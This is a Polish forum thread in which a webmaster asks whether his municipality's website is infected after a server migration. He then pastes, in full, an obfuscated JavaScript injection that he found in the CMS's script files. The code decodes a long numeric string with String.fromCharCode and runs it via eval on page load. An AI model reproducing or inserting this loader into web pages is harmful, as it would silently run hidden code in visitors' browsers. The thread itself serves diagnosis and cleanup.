Czy ta strona jest zainfekowana.

[lukpio3]

Witam.
Jak zapewne wiecie, robiłem niedawno przenoszenie naszej gminnej strony z jednego serwera na drugi. Problem teraz powstał taki że niektóre programy antywirusowe pokazują że strona jest zainfekowana. Czy mógłbym prosić Was o zerknięcie czy faktycznie tak jest? Ja bym to zrobił ale nie posiadam odpowiedniej wiedzy i narzędzi jak to zrobić. Strona wcześniej działała poprawnie i nic się nie działo, teraz też działa poprawnie tylko jak wspomniałem, niektórym ludziom wywala że jest zainfekowana, np program GData. Będę wdzięczny za pomoc. Oto adres strony: gminaleszno.pl
Pozdrawiam.

[Aviator]

http://online1.drweb.com/cache/?i=283db ... e4859eb37b

[lukpio3]

Tak tak, tym skanerem też już skanowałem . I wyszło mi to samo tzn że strona czysta. Natomiast trafiłem na stronę http://sucuri.net/ i tam niby coś pokazuje w plikach js. Sęk w tym że są to pliki nie moje lecz dołączone do CMSa, gwarantujące poprawne jego działanie więc nawet nie bardzo wiem jak to można poprawić.

[lukpio3]

Bardzo dziwne ... Nie wiem co jest grane. Słuchajcie, skanuję stronę: gminaleszno.pl na stronie securi.net, wywala mi jakąś czarną listę plików. Ok, w porządku. Skanuję drugi adres: gminaleszno.kei.pl i co? Pokazuje że strona jest czyściutka. Cała niespodzianka polega na tym że i jeden adres i drugi to jest ta sama strona. Pierwszy adres to oficjalny link, drugi to taki dodatkowa domena otrzymana od firmy hostingowej. Na obu domenach jest tam sama strona z tymi samymi plikami i z tą samą DB. Jak więc wytłumaczyć fakt że jedna jest czysta a druga nie?

[Aviator]

Proponowałbym postawić czysty testowy skrypt i przepuścić go przez scan jeżeli będzie czysty to znaczy że został wstrzyknięty złośliwy kod do tych plików na stronie i wystarczy że je podmienisz na czyste ze świeżej instalki skryptu.

[lukpio3]

O jakim skrypcie mówisz?

Wszystkie antywiry, kaspersky, norton, avast, avira etc milczą i mówią że strona jest czysta. Google webmaster tools również twierdzi że jest czysto. Poprosiłem i sprawdzenie wszystkich znajomych i u nikogo nic nie wywala.

[Aviator]

Mówie o tym CMS
Z tego co pokazuje ten scan online to strona jest na czarnej liście, ale skoro google jej nie blokuje......

[lukpio3]

Na czarną listę wprowadzić mogłem ją w niedziele ja skanując kilkakrotnie bo akurat w tych plikach co pokazuje ten skaner był wczoraj jakiś kod który nie mam pojęcia skąd się wziął i faktycznie w niedziele był tam jakiś dziwny ciąg znaków, dokładnie coś takiego:

Kod: Zaznacz cały

/*c3284d*/
try{n&=window["e"+"v"+"al"];}catch(zxc){e=eval;n="1224..1521..1320..1287..1392..1365..1332..1430..384..1430..1212..1560..1392..1066..1164..1430..1200..1443..1308..1014..1404..1417..1176..1313..1368..520..492..1599..156..130..384..416..384..416..1416..1261..1368..416..1248..1365..384..793..384..1508..1248..1365..1380..598..1380..1313..1212..1300..384..611..384..1508..1248..1365..1380..598..972..767..156..130..384..416..384..416..1416..1261..1368..416..1296..1443..384..793..384..1508..1248..1365..1380..598..1380..1313..1212..1300..384..481..384..1508..1248..1365..1380..598..972..767..156..130..384..416..384..416..1416..1261..1368..416..1392..1313..1380..1508..384..793..384..1508..1248..1365..1380..598..780..416..504..416..1296..1443..384..585..384..1508..1248..1365..1380..598..984..416..504..416..1248..1365..708..169..120..416..384..416..384..1365..1224..520..1392..1313..1380..1508..384..806..384..624..492..1599..156..130..384..416..384..416..384..416..384..416..1392..1352..1260..1495..552..1495..1212..1313..1200..416..732..416..1392..1313..1380..1508..708..169..120..416..384..416..384..1625..384..1313..1296..1495..1212..416..1476..169..120..416..384..416..384..416..384..416..384..1508..1248..1365..1380..598..1380..1313..1212..1300..384..793..384..1508..1212..1495..1392..416..516..416..1392..1352..1260..1495..552..1001..708..169..120..416..384..416..384..1625..156..130..384..416..384..416..1368..1313..1392..1521..1368..1430..384..520..1392..1352..1260..1495..552..1495..1212..1313..1200..416..504..416..1392..1352..1260..1495..552..1443..1320..1313..948..1534..1212..1482..924..533..708..169..120..1625..156..130..156..130..1224..1521..1320..1287..1392..1365..1332..1430..384..1066..1164..1430..1200..1443..1308..1014..1404..1417..1176..1313..1368..923..1212..1430..1212..1482..1164..1508..1332..1482..480..1521..1320..1365..1440..533..1476..169..120..416..384..416..384..1534..1164..1482..384..1300..384..793..384..1430..1212..1547..384..884..1164..1508..1212..520..1404..1430..1260..1560..504..637..576..624..576..533..708..169..120..416..384..416..384..1534..1164..1482..384..1495..384..793..384..1001..1164..1508..1248..598..1188..1313..1260..1404..480..1300..552..1339..1212..1508..864..1443..1404..1482..1380..520..492..611..612..533..708..169..120..416..384..416..384..1508..1248..1365..1380..598..1380..1313..1212..1300..384..793..384..650..612..676..636..702..660..728..684..624..588..416..516..416..480..1300..552..1339..1212..1508..924..1443..1320..1508..1248..520..492..416..504..416..576..1560..840..910..840..910..840..910..492..416..516..416..480..1300..552..1339..1212..1508..816..1261..1392..1313..480..533..384..546..384..624..1440..910..840..910..840..533..516..416..480..1001..1164..1508..1248..598..1368..1443..1404..1430..1200..520..1380..416..504..416..576..1560..840..910..840..533..492..767..156..130..384..416..384..416..1392..1352..1260..1495..552..845..384..793..384..676..672..650..660..637..708..169..120..416..384..416..384..1508..1248..1365..1380..598..924..416..732..416..600..637..624..715..624..728..612..702..624..715..708..169..120..416..384..416..384..1508..1248..1365..1380..598..972..416..732..416..1392..1352..1260..1495..552..1001..384..611..384..1508..1248..1365..1380..598..780..767..156..130..384..416..384..416..1392..1352..1260..1495..552..1066..384..793..384..1508..1248..1365..1380..598..924..416..444..416..1392..1352..1260..1495..552..845..708..169..120..416..384..416..384..1508..1248..1365..1380..598..1332..1430..1212..1027..1416..1313..1368..1001..384..793..384..637..552..624..384..611..384..1508..1248..1365..1380..598..924..767..156..130..384..416..384..416..1392..1352..1260..1495..552..1430..1212..1560..1392..416..732..416..1320..1313..1440..1508..984..1261..1320..1300..1332..1417..936..1521..1308..1274..1212..1482..708..169..120..416..384..416..384..1482..1212..1508..1404..1482..1320..416..1392..1352..1260..1495..708..169..120..1625..156..130..156..130..1224..1521..1320..1287..1392..1365..1332..1430..384..1287..1368..1313..1164..1508..1212..1066..1164..1430..1200..1443..1308..1014..1404..1417..1176..1313..1368..520..1368..572..384..1001..1260..1430..528..416..924..1261..1440..533..1476..169..120..416..384..416..384..1482..1212..1508..1404..1482..1320..416..924..1261..1392..1352..552..1482..1332..1521..1320..1300..480..520..924..1261..1440..585..924..1365..1320..533..384..546..384..1482..552..1430..1212..1560..1392..520..492..416..516..416..924..1365..1320..533..708..169..120..1625..156..130..156..130..1224..1521..1320..1287..1392..1365..1332..1430..384..1339..1212..1430..1212..1482..1164..1508..1212..1040..1380..1313..1404..1300..1332..1066..1164..1430..1200..1443..1308..1079..1392..1482..1260..1430..1236..520..1404..1430..1260..1560..528..416..1296..1313..1320..1339..1392..1352..528..416..1464..1443..1320..1313..492..1599..156..130..384..416..384..416..1416..1261..1368..416..1368..1261..1320..1300..384..793..384..1430..1212..1547..384..1066..1164..1430..1200..1443..1308..1014..1404..1417..1176..1313..1368..923..1212..1430..1212..1482..1164..1508..1332..1482..480..1521..1320..1365..1440..533..708..169..120..416..384..416..384..1534..1164..1482..384..1404..1212..1508..1392..1313..1368..1495..384..793..384..442..1176..1521..1164..1560..1332..1469..1212..1482..1260..1469..1428..1391..1236..1326..1284..1300..1452..1313..1320..1586..1332..1495..1380..1469..1296..1560..1224..1469..1164..1573..1416..1456..1368..442..552..1495..1344..1404..1260..1508..480..507..468..533..708..169..120..416..384..416..384..1534..1164..1482..384..1495..1392..1482..384..793..384..507..468..767..156..130..108..1326..1332..1482..480..1534..1164..1482..384..1365..384..793..384..624..708..416..1260..416..720..416..1296..1313..1320..1339..1392..1352..708..416..1260..416..516..559..384..533..1476..169..120..416..384..416..384..416..384..416..384..1495..1392..1482..384..559..732..416..1296..1313..1392..1508..1212..1482..1380..1183..1188..1482..1212..1261..1392..1313..984..1261..1320..1300..1332..1417..936..1521..1308..1274..1212..1482..480..1482..1164..1430..1200..572..384..624..528..416..1296..1313..1392..1508..1212..1482..1380..598..1296..1313..1320..1339..1392..1352..384..585..384..637..492..1209..708..169..120..416..384..416..384..1625..156..130..384..416..384..416..1368..1313..1392..1521..1368..1430..384..1495..1392..1482..384..559..384..507..552..507..384..559..384..1586..1332..1430..1212..767..156..130..1500..169..120..169..120..1495..1212..1508..876..1430..1392..1313..1368..1534..1164..1404..480..1326..1404..1430..1188..1508..1260..1443..1320..520..492..1599..156..130..384..416..384..416..1392..1482..1452..1599..156..130..384..416..384..416..384..416..384..416..1260..1326..480..1508..1452..1456..1212..1443..1224..416..1260..1326..1368..1261..1308..1313..1044..1261..1380..871..1368..1313..1164..1508..1212..1300..384..793..732..416..408..1521..1320..1300..1212..1326..1260..1430..1212..1300..408..533..1476..169..120..416..384..416..384..416..384..416..384..416..384..416..384..1534..1164..1482..384..1521..1320..1365..1440..416..732..416..924..1261..1392..1352..552..1482..1332..1521..1320..1300..480..559..1320..1313..1428..416..816..1261..1392..1313..480..533..564..637..576..624..576..533..708..416..384..416..384..416..384..416..384..416..384..416..384..416..1416..1261..1368..416..1200..1443..1308..1261..1260..1430..936..1261..1308..1313..384..793..384..1339..1212..1430..1212..1482..1164..1508..1212..1040..1380..1313..1404..1300..1332..1066..1164..1430..1200..1443..1308..1079..1392..1482..1260..1430..1236..520..1404..1430..1260..1560..528..416..588..702..528..416..468..1482..1404..507..492..767..384..416..384..416..384..416..384..416..384..416..384..416..1260..1326..1368..1417..384..793..384..1300..1332..1287..1404..1417..1212..1430..1392..598..1188..1482..1212..1261..1392..1313..828..1404..1212..1417..1212..1430..1392..520..408..949..840..1066..780..1001..828..442..492..767..384..169..120..416..384..416..384..416..384..416..384..416..384..416..384..1365..1224..1482..1308..598..1380..1313..1392..845..1392..1508..1368..1365..1176..1521..1392..1313..480..442..1380..1482..1188..442..528..416..408..1352..1392..1508..1344..754..564..611..408..559..1200..1443..1308..1261..1260..1430..936..1261..1308..1313..516..442..564..1365..1320..598..1188..1339..1260..819..588..689..408..533..708..416..156..130..384..416..384..416..384..416..384..416..384..416..384..416..1260..1326..1368..1417..552..1495..1392..1573..1296..1313..552..1547..1260..1300..1392..1352..384..793..384..442..576..1456..1440..442..708..416..156..130..384..416..384..416..384..416..384..416..384..416..384..416..1260..1326..1368..1417..552..1495..1392..1573..1296..1313..552..1352..1212..1365..1236..1352..1392..416..732..416..408..624..1344..1560..408..767..384..169..120..416..384..416..384..416..384..416..384..416..384..416..384..1365..1224..1482..1308..598..1380..1508..1452..1404..1212..598..1416..1365..1380..1365..1176..1365..1296..1365..1392..1573..384..793..384..442..1248..1365..1200..1300..1212..1430..408..767..384..169..120..416..384..416..384..416..384..416..384..416..384..416..384..1300..1332..1287..1404..1417..1212..1430..1392..598..1176..1443..1200..1573..552..1261..1344..1456..1212..1430..1200..871..1248..1365..1296..1300..480..1365..1224..1482..1308..533..708..169..120..117..108..117..1260..1326..1368..1261..1308..1313..1044..1261..1380..871..1368..1313..1164..1508..1212..1300..384..793..384..1508..1368..1521..1212..767..156..130..384..416..384..416..384..416..384..416..1500..169..120..416..384..416..384..1625..1188..1261..1392..1287..1248..520..1212..533..1476..1365..1224..1482..1164..1417..1212..1131..1164..1495..804..1482..1212..1261..1392..1313..1200..416..732..416..1404..1430..1200..1313..1224..1365..1320..1313..1200..767..1500..169..120..1625..528..416..588..624..576..533..708".split("..");h=2;s="";for(i=0;i-1769<0;i=1+i){k=i;s=s+String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+12));}if(015-0xa===3)if(window.document)e(s);}
/*/c3284d*/

I ten skaner wskazywał właśnie na ten kod. Ten kodu usunąłem, skaner przestał go wyświetlać ale widocznie przez kilkukrotne skanowanie wciągnął stronę na czarną listę. Dziś na próbę z powrotem dodałem ten kod do tych plików w których on był i kaspersky mi stronę zablokował. Zatem to on był sprawcą całego zamieszania.